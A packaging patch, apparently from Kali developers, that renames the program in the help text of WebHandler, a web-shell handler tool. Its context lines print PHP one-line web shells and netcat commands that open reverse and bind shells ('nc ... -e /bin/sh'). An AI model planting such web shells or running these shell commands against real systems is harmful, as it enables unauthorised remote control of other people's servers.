From: Kali Developers <devel@kali.org>
Date: Mon, 9 Sep 2019 11:14:47 +0200
Subject: edit-banner-text

Patched to display the proper application name in the examples and usage output.
---
 core/libs/menu.py | 18 +++++++++---------
 webhandler.py     |  6 +++---
 2 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/core/libs/menu.py b/core/libs/menu.py
index dc8c6fd..9f8e38d 100644
--- a/core/libs/menu.py
+++ b/core/libs/menu.py
@@ -4,20 +4,20 @@ from core.libs.thirdparty import argparse
 class GetArgs(object):
     parser = argparse.ArgumentParser(
             add_help=False,
-            usage='%(prog)s -h',
+            usage='webhandler -h',
             formatter_class=argparse.RawTextHelpFormatter,
             epilog='''
 Examples:
-\tpython %(prog)s -u http://www.mywebsite.com/shell.php --method cookie -p "__utma" --user-agent "spoofed-header"
-\tpython %(prog)s -u http://www.mywebsite.com/shell.php?cmd= --proxy http://127.0.0.1:8080 --ranodm-agent
-\tpython %(prog)s --url http://www.mywebsite.com/shell.php --method POST --parameter cmd
-\tpython %(prog)s -u http://www.mywebsite.com/shell.php?cmd= --random-agent --tor --no-color
+\twebhandler -u http://www.mywebsite.com/shell.php --method cookie -p "__utma" --user-agent "spoofed-header"
+\twebhandler -u http://www.mywebsite.com/shell.php?cmd= --proxy http://127.0.0.1:8080 --ranodm-agent
+\twebhandler --url http://www.mywebsite.com/shell.php --method POST --parameter cmd
+\twebhandler -u http://www.mywebsite.com/shell.php?cmd= --random-agent --tor --no-color
 
-\tpython %(prog)s --listen 1234
-\tpython %(prog)s -l 5555
+\twebhandler --listen 1234
+\twebhandler -l 5555
 
-\tpython %(prog)s --connect mywebsite.com:5678
-\tpython %(prog)s -c mywebsite.com:5555''')
+\twebhandler --connect mywebsite.com:5678
+\twebhandler -c mywebsite.com:5555''')
 
     # shell controller group
     shell_handler = parser.add_argument_group('Shell Handler')
diff --git a/webhandler.py b/webhandler.py
index 41bb25a..13f55fb 100755
--- a/webhandler.py
+++ b/webhandler.py
@@ -47,11 +47,11 @@ if len(argv) <= 1:
     cprint("-   <?php passthru($_REQUEST['parameter']); ?>", 'yellow')
     cprint("-   <?php echo exec($_POST['parameter']); ?>", 'yellow')
     cprint(" Example command:", 'green')    
-    cprint("-   python webhandler.py --url http://www.mywebsite.com/shell.php?cmd=\n", 'yellow')    
+    cprint("-   webhandler --url http://www.mywebsite.com/shell.php?cmd=\n", 'yellow')    
     
     cprint("--   Netcat ~ Listening server (for an bind connection)   --", 'blue')
     cprint(" Example command:", 'green')    
-    cprint("-   WebHandler: python webhandler.py --listen 1234", 'yellow')    
+    cprint("-   WebHandler: webhandler --listen 1234", 'yellow')    
     cprint("-       netcat: nc -lp 1234", 'yellow')   
     cprint(" Target's side:", 'green')    
     cprint("-       nc mywebsite.com:1234 -e /bin/sh\n", 'yellow')   
@@ -61,7 +61,7 @@ if len(argv) <= 1:
     cprint(" Target's side:", 'green')
     cprint("-   nc -lp 5678 -e /bin/bash", 'yellow')
     cprint(" Example command:", 'green')    
-    cprint("-   WebHandler: python webhandler.py --connect mywebsite.com:5678", 'yellow')    
+    cprint("-   WebHandler: webhandler --connect mywebsite.com:5678", 'yellow')    
     cprint("-       netcat: nc mywebsite.com:5678\n", 'yellow') 
     
     print "Run: " + colored("{0} -h".format(argv[0]), 'red') + " for help & more example commands"
